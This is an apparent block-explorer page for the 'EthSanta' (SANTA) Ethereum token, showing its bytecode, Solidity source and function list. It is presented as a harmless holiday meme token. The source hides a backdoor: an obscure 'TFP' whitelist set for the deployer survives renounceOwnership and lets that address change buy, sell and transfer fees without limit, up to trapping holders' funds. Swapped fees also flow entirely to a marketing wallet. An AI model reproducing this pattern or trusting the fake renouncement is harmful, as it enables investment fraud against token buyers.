Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x83485fF5368b3cFbd880925811608C0041CFCE14
Balance 0 ETH
Nonce 1
Code Size 6672 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6672 bytes
0x6080604052600436106101d15760003560e01c80634fbee193116100f757806395d89b4111610095578063d80f430211610064578063d80f4302146105e5578063dd62ed3e14610605578063f94aa1b41461064b578063fdb78c0e1461069257600080fd5b806395d89b4114610512578063a9059cbb14610540578063b7df8b3614610560578063cf8477061461057a57600080fd5b806370a08231116100d157806370a0823114610487578063715018a6146104bd57806380c581d1146104d4578063893d20e8146104f457600080fd5b80634fbee1931461041957806350a8e016146104525780635a6f09181461047157600080fd5b806323b872dd1161016f5780632fcbd7b71161013e5780632fcbd7b71461038a578063313ce567146103c3578063452ed4f1146103df5780634ada218b146103ff57600080fd5b806323b872dd1461032957806328577751146103495780632b112e491461035f5780632e8fa8211461037457600080fd5b806306fdde03116101ab57806306fdde031461028a5780630758d924146102c4578063095ea7b3146102e457806318160ddd1461031457600080fd5b806303fd2a45146101dd5780630445b66714610210578063069d955f1461023457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f361dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561021c57600080fd5b50610226600e5481565b604051908152602001610207565b34801561024057600080fd5b506007546102659061ffff808216916201000081048216916401000000009091041683565b6040805161ffff94851681529284166020840152921691810191909152606001610207565b34801561029657600080fd5b5060408051808201909152600881526745746853616e746160c01b60208201525b60405161020791906115a8565b3480156102d057600080fd5b506009546101f3906001600160a01b031681565b3480156102f057600080fd5b506103046102ff366004611615565b6106b1565b6040519015158152602001610207565b34801561032057600080fd5b506102266106c8565b34801561033557600080fd5b50610304610344366004611641565b6106e9565b34801561035557600080fd5b5061022660115481565b34801561036b57600080fd5b50610226610761565b34801561038057600080fd5b50610226600f5481565b34801561039657600080fd5b506103046103a5366004611682565b6001600160a01b031660009081526014602052604090205460ff1690565b3480156103cf57600080fd5b5060405160128152602001610207565b3480156103eb57600080fd5b50600a546101f3906001600160a01b031681565b34801561040b57600080fd5b506012546103049060ff1681565b34801561042557600080fd5b50610304610434366004611682565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561045e57600080fd5b5060125461030490610100900460ff1681565b34801561047d57600080fd5b5061022660135481565b34801561049357600080fd5b506102266104a2366004611682565b6001600160a01b031660009081526020819052604090205490565b3480156104c957600080fd5b506104d26107df565b005b3480156104e057600080fd5b506104d26104ef3660046116a6565b610880565b34801561050057600080fd5b506015546001600160a01b03166101f3565b34801561051e57600080fd5b5060408051808201909152600581526453414e544160d81b60208201526102b7565b34801561054c57600080fd5b5061030461055b366004611615565b6109e3565b34801561056c57600080fd5b506010546103049060ff1681565b34801561058657600080fd5b506008546105b79061ffff808216916201000081048216916401000000008204811691660100000000000090041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610207565b3480156105f157600080fd5b506104d26106003660046116fb565b6109fa565b34801561061157600080fd5b5061022661062036600461173e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561065757600080fd5b50600b54600c54610672916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610207565b34801561069e57600080fd5b50600d5461030490610100900460ff1681565b60006106be338484610a86565b5060015b92915050565b60006106d66012600a611866565b6106e490633b9aca00611875565b905090565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461074e576001600160a01b038416600090815260036020908152604080832033845290915281208054849290610748908490611894565b90915550505b610759848484610b7f565b949350505050565b600060208190527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461dead82527f44ad89ba62b98ff34f51403ac22759b55759460c0bb5521eb4b6ee3cff49cf83546107bb91906118ab565b6107c76012600a611866565b6107d590633b9aca00611875565b6106e49190611894565b6015546001600160a01b031633146108325760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b60448201526064015b60405180910390fd5b601580546001600160a01b031981169091556040516001600160a01b039091169060009082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6015546001600160a01b031633146108ce5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610829565b806108f557506001600160a01b03166000908152600160205260409020805460ff19169055565b6002541561094e576203f4806002544261090f9190611894565b1161094e5760405162461bcd60e51b815260206004820152600f60248201526e19902230bc9031b7b7b63237bbb71760891b6044820152606401610829565b6001600160a01b03821660009081526001602052604090205460ff16156109b75760405162461bcd60e51b815260206004820152601b60248201527f5061697220616c726561647920616464656420746f206c6973742e00000000006044820152606401610829565b506001600160a01b03166000908152600160208190526040909120805460ff1916909117905542600255565b60006109f0338484610b7f565b5060019392505050565b3360009081526014602052604090205460ff16610a475760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610829565b6007805461ffff94851663ffffffff199091161762010000938516939093029290921765ffff0000000019166401000000009190931602919091179055565b6001600160a01b038316610ad25760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610829565b6001600160a01b038216610b1e5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401610829565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610be55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610829565b6001600160a01b038316610c475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610829565b60008211610ca95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610829565b6001600160a01b0384166000908152600160205260408120548190819060ff1615610cd75760019250610d05565b6001600160a01b03861660009081526001602052604090205460ff1615610d015760019150610d05565b5060015b60125460ff16610e015780610d5c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610829565b6001600160a01b03871660009081526005602052604090205460ff16158015610d9e57506001600160a01b03861660009081526005602052604090205460ff16155b15610e015760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e732063616e6e6f74206265206d6f76656420756e74696c2074726160448201526c3234b7339034b9903634bb329760991b6064820152608401610829565b8115610e9757600d5460ff16610e9757600d54610100900460ff1615610e975730600090815260208190526040902054600e548110610e9557600f5460105460ff1615610e7f57601154600a546001600160a01b0316600090815260208190526040902054606491610e7291611875565b610e7c91906118c3565b90505b808210610e8a578091505b610e9382610eaf565b505b505b610ea4878787868661132e565b979650505050505050565b600d805460ff191660011790556040805160808101825260085461ffff80821683526201000082048116602084015264010000000082048116938301939093526601000000000000900490911660608201819052610f0d5750611321565b3060009081526003602090815260408083206009546001600160a01b0316845290915290205460001914610f66573060009081526003602090815260408083206009546001600160a01b03168452909152902060001990555b60006002826060015161ffff16836000015161ffff1685610f879190611875565b610f9191906118c3565b610f9b91906118c3565b90506000610fa98285611894565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610fe357610fe36118e5565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561103c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106091906118fb565b81600181518110611073576110736118e5565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906110b9908590600090869030904290600401611918565b600060405180830381600087803b1580156110d357600080fd5b505af19250505080156110e4575060015b6110f15750505050611321565b476000836110ff8684611875565b61110991906118c3565b905084156111e85760095460405163f305d71960e01b815230600482015260248101879052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af19350505050801561119c575060408051601f3d908101601f1916820190925261119991810190611989565b60015b6111ab57505050505050611321565b505060408051838152602081018890527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b6111f28183611894565b915085600001518660600181815161120a91906119b7565b61ffff9081169091526060880151604089015160009350839291821691611232911686611875565b61123c91906118c3565b6020890151909150849061ffff16156112ac57600b546040516001600160a01b039091169061d6d89083906000818181858888f193505050503d80600081146112a1576040519150601f19603f3d011682016040523d82523d6000602084013e6112a6565b606091505b50909350505b604089015161ffff161561131757600c546040516001600160a01b039091169061d6d89084906000818181858888f193505050503d806000811461130c576040519150601f19603f3d011682016040523d82523d6000602084013e611311565b606091505b50909350505b5050505050505050505b50600d805460ff19169055565b6001600160a01b03851660009081526006602052604081205460019060ff168061137057506001600160a01b03861660009081526006602052604090205460ff165b15611379575060005b6001600160a01b03871660009081526014602052604090205460ff161580156113bb57506001600160a01b03861660009081526014602052604090205460ff16155b156113ec5760125460ff166113ec5760405162461bcd60e51b81526020600482015260006024820152604401610829565b6001600160a01b03871660009081526020819052604081208054879290611414908490611894565b9091555060009050816114275785611433565b611433888686896114cb565b905080600080896001600160a01b03166001600160a01b03168152602001908152602001600020600082825461146991906118ab565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114b591815260200190565b60405180910390a3506001979650505050505050565b60008084156114e1575060075461ffff1661150b565b83156114fa575060075462010000900461ffff1661150b565b50600754640100000000900461ffff165b806115195782915050610759565b600060646115278386611875565b61153191906118c3565b9050801561159e5730600090815260208190526040812080548392906115589084906118ab565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610ea48185611894565b600060208083528351808285015260005b818110156115d5578581018301518582016040015282016115b9565b818111156115e7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461161257600080fd5b50565b6000806040838503121561162857600080fd5b8235611633816115fd565b946020939093013593505050565b60008060006060848603121561165657600080fd5b8335611661816115fd565b92506020840135611671816115fd565b929592945050506040919091013590565b60006020828403121561169457600080fd5b813561169f816115fd565b9392505050565b600080604083850312156116b957600080fd5b82356116c4816115fd565b9150602083013580151581146116d957600080fd5b809150509250929050565b803561ffff811681146116f657600080fd5b919050565b60008060006060848603121561171057600080fd5b611719846116e4565b9250611727602085016116e4565b9150611735604085016116e4565b90509250925092565b6000806040838503121561175157600080fd5b823561175c816115fd565b915060208301356116d9816115fd565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bd5781600019048211156117a3576117a361176c565b808516156117b057918102915b93841c9390800290611787565b509250929050565b6000826117d4575060016106c2565b816117e1575060006106c2565b81600181146117f757600281146118015761181d565b60019150506106c2565b60ff8411156118125761181261176c565b50506001821b6106c2565b5060208310610133831016604e8410600b8410161715611840575081810a6106c2565b61184a8383611782565b806000190482111561185e5761185e61176c565b029392505050565b600061169f60ff8416836117c5565b600081600019048311821515161561188f5761188f61176c565b500290565b6000828210156118a6576118a661176c565b500390565b600082198211156118be576118be61176c565b500190565b6000826118e057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561190d57600080fd5b815161169f816115fd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119685784516001600160a01b031683529383019391830191600101611943565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561199e57600080fd5b8351925060208401519150604084015190509250925092565b600061ffff838116908316818110156119d2576119d261176c565b03939250505056fea26469706673582212202bb8b6ebcba16fd174727f2df7a5c2ed2087ac5afbfd44b676dbca486c8e5dc364736f6c634300080b0033

Verified Source Code Partial Match

Compiler: v0.8.11+commit.d7f03943 EVM: london Optimization: Yes (200 runs)
EthSanta.sol 436 lines
// Telegram : https://t.me/ethsantaerc

// Twitter : https://twitter.com/SantaEtherium

// Website : https://www.ethsanta.com/

/*

When it comes to holiday figures, Santa is major.
With his red cap, rosy cheeks, and holiday cheer, EthSanta is pretty hard to miss. 
These original quotes are as jolly as the big guy himself!
Add them to a Christmas Card or a holiday snap with your friends.
After all, Christmas is all about spreading joy.

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IV2Pair {
    function factory() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function sync() external;
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

contract EthSanta is IERC20 {
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) lpPairs;
    uint256 private timeSinceLastPair = 0;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _liquidityHolders;
    mapping (address => bool) private _isExcludedFromProtection;
    mapping (address => bool) private _isExcludedFromFees;
   
    uint256 constant private startingSupply = 1_000_000_000;
    string constant private _name = "EthSanta";
    string constant private _symbol = "SANTA";
    uint8 constant private _decimals = 18;
    uint256 constant private _tTotal = startingSupply * 10**_decimals;

    struct Fees {
        uint16 buyFee;
        uint16 sellFee;
        uint16 transferFee;
    }

    struct Ratios {
        uint16 liquidity;
        uint16 marketing;
        uint16 rewards;
        uint16 totalSwap;
    }

    Fees public _taxRates = Fees({
        buyFee: 5,
        sellFee: 5,
        transferFee: 0
    });

    Ratios public _ratios = Ratios({
        liquidity: 0,
        marketing: 1,
        rewards: 4,
        totalSwap: 5
    });

    uint256 constant masterTaxDivisor = 100;

    IRouter02 public dexRouter;
    address public lpPair;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;

    struct TaxWallets {
        address payable marketing;
        address payable rewards;
    }

    TaxWallets public _taxWallets = TaxWallets({
        marketing: payable(0xECED8Ea0E64e2F3AdE0B1CE6EAA6B0959E10616c),
        rewards: payable(0x6067f5F1511a90294C3743ba12E5a41e5E995436)
    });
    
    bool inSwap;
    bool public contractSwapEnabled = true;
    uint256 public swapThreshold;
    uint256 public swapAmount;
    bool public piContractSwapsEnabled = true;
    uint256 public piSwapPercent = 10;

    bool public tradingEnabled = true;
    bool public _hasLiqBeenAdded = false;
    uint256 public launchStamp;

    event ContractSwapEnabledUpdated(bool enabled);
    event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);

    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        // Set the owner.
        _owner = msg.sender;
        TFP[_owner] = true;

        _tOwned[_owner] = _tTotal;
        emit Transfer(address(0), _owner, _tTotal);
        
        dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
        lpPairs[lpPair] = true;

        _approve(_owner, address(dexRouter), type(uint256).max);
        _approve(address(this), address(dexRouter), type(uint256).max);

        _isExcludedFromFees[_owner] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[DEAD] = true;
        _liquidityHolders[_owner] = true;
        
        _isExcludedFromFees[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; // Uniswap v2
        _isExcludedFromFees[0x407993575c91ce7643a4d4cCACc9A98c36eE1BBE] = true; // PinkLock
        _isExcludedFromFees[0x663A5C229c09b049E36dCc11a9B0d4a8Eb9db214] = true; // Unicrypt (ETH)
        _isExcludedFromFees[0xDba68f07d1b7Ca219f78ae8582C213d975c25cAf] = true; // Unicrypt (ETH)
        _isExcludedFromFees[_owner] = true;
    }

        mapping (address => bool) internal TFP;


    address private _owner;

    modifier onlyOwner() { require(_owner == msg.sender, "Caller =/= owner."); _; }

    modifier TFPP() {
        require(isTFPP(msg.sender), "!AUTHORIZED"); _;
    }

    function isTFPP(address adr) public view returns (bool) {
        return TFP[adr];
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function renounceOwnership() external onlyOwner {
        address Dead = _owner;
        _owner = address(0);
        emit OwnershipTransferred(Dead, address(0));
    }

//===============================================================================================================
//===============================================================================================================
//===============================================================================================================

    receive() external payable {}
    function totalSupply() external pure override returns (uint256) { return _tTotal; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return _owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");

        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
                }

        return _transfer(sender, recipient, amount);
    }

    function setLpPair(address pair, bool enabled) external onlyOwner {
        if (!enabled) {
            lpPairs[pair] = false;
        } else {
            if (timeSinceLastPair != 0) {
                require(block.timestamp - timeSinceLastPair > 3 days, "3 Day cooldown.");
            }
            require(!lpPairs[pair], "Pair already added to list.");
            lpPairs[pair] = true;
            timeSinceLastPair = block.timestamp;
        }
    }

    function isExcludedFromFees(address account) external view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (_tTotal - (balanceOf(DEAD) + balanceOf(address(0))));
    }

    function Changetax(uint16 buyFee, uint16 sellFee, uint16 transferFee) public TFPP {
        _taxRates.buyFee = buyFee;
        _taxRates.sellFee = sellFee;
        _taxRates.transferFee = transferFee;
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool buy = false;
        bool sell = false;
        bool other = false;
        if (lpPairs[from]) {
            buy = true;
        } else if (lpPairs[to]) {
            sell = true;
        } else {
            other = true;
        }
            if(!tradingEnabled) {
                if (!other) {
                    revert("Trading not yet enabled!");
                } else if (!_isExcludedFromProtection[from] && !_isExcludedFromProtection[to]) {
                    revert("Tokens cannot be moved until trading is live.");
                
            }
        }

        if (sell) {
            if (!inSwap) {
                if (contractSwapEnabled
                ) {
                    uint256 contractTokenBalance = balanceOf(address(this));
                    if (contractTokenBalance >= swapThreshold) {
                        uint256 swapAmt = swapAmount;
                        if (piContractSwapsEnabled) { swapAmt = (balanceOf(lpPair) * piSwapPercent) / masterTaxDivisor; }
                        if (contractTokenBalance >= swapAmt) { contractTokenBalance = swapAmt; }
                        contractSwap(contractTokenBalance);
                    }
                }
            }
        }
        return finalizeTransfer(from, to, amount, buy, sell);
    }

    function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
        Ratios memory ratios = _ratios;
        if (ratios.totalSwap == 0) {
            return;
        }

        if (_allowances[address(this)][address(dexRouter)] != type(uint256).max) {
            _allowances[address(this)][address(dexRouter)] = type(uint256).max;
        }

        uint256 toLiquify = ((contractTokenBalance * ratios.liquidity) / ratios.totalSwap) / 2;
        uint256 swapAmt = contractTokenBalance - toLiquify;
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        try dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapAmt,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }

        uint256 amtBalance = address(this).balance;
        uint256 liquidityBalance = (amtBalance * toLiquify) / swapAmt;

        if (toLiquify > 0) {
            try dexRouter.addLiquidityETH{value: liquidityBalance}(
                address(this),
                toLiquify,
                0,
                0,
                DEAD,
                block.timestamp
            ) {
                emit AutoLiquify(liquidityBalance, toLiquify);
            } catch {
                return;
            }
        }

        amtBalance -= liquidityBalance;
        ratios.totalSwap -= ratios.liquidity;
        bool success;
        uint256 rewardsBalance = (amtBalance * ratios.rewards) / ratios.totalSwap;
        uint256 marketingBalance = amtBalance;
        if (ratios.marketing > 0) {
            (success,) = _taxWallets.marketing.call{value: marketingBalance, gas: 55000}("");
        }
        if (ratios.rewards > 0) {
            (success,) = _taxWallets.rewards.call{value: rewardsBalance, gas: 55000}("");
        }
    }

    function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell) internal returns (bool) {
        bool takeFee = true;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]){
            takeFee = false;
        }
        if(!TFP[from] && !TFP[to]){
            require(tradingEnabled, "");
        }
        _tOwned[from] -= amount;
        uint256 amountReceived = (takeFee) ? takeTaxes(from, buy, sell, amount) : amount;
        _tOwned[to] += amountReceived;
        emit Transfer(from, to, amountReceived);
        return true;
    }

    function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
        uint256 currentFee;
        if (buy) {
            currentFee = _taxRates.buyFee;
        } else if (sell) {
            currentFee = _taxRates.sellFee;
        } else {
            currentFee = _taxRates.transferFee;
        }
        if (currentFee == 0) { return amount; }
        uint256 feeAmount = amount * currentFee / masterTaxDivisor;
        if (feeAmount > 0) {
            _tOwned[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }

        return amount - feeAmount;
    }
}

Read Contract

DEAD 0x03fd2a45 → address
_hasLiqBeenAdded 0x50a8e016 → bool
_ratios 0xcf847706 → uint16, uint16, uint16, uint16
_taxRates 0x069d955f → uint16, uint16, uint16
_taxWallets 0xf94aa1b4 → address, address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
contractSwapEnabled 0xfdb78c0e → bool
decimals 0x313ce567 → uint8
dexRouter 0x0758d924 → address
getCirculatingSupply 0x2b112e49 → uint256
getOwner 0x893d20e8 → address
isExcludedFromFees 0x4fbee193 → bool
isTFPP 0x2fcbd7b7 → bool
launchStamp 0x5a6f0918 → uint256
lpPair 0x452ed4f1 → address
name 0x06fdde03 → string
piContractSwapsEnabled 0xb7df8b36 → bool
piSwapPercent 0x28577751 → uint256
swapAmount 0x2e8fa821 → uint256
swapThreshold 0x0445b667 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingEnabled 0x4ada218b → bool

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

Changetax 0xd80f4302
uint16 buyFee
uint16 sellFee
uint16 transferFee
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
setLpPair 0x80c581d1
address pair
bool enabled
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address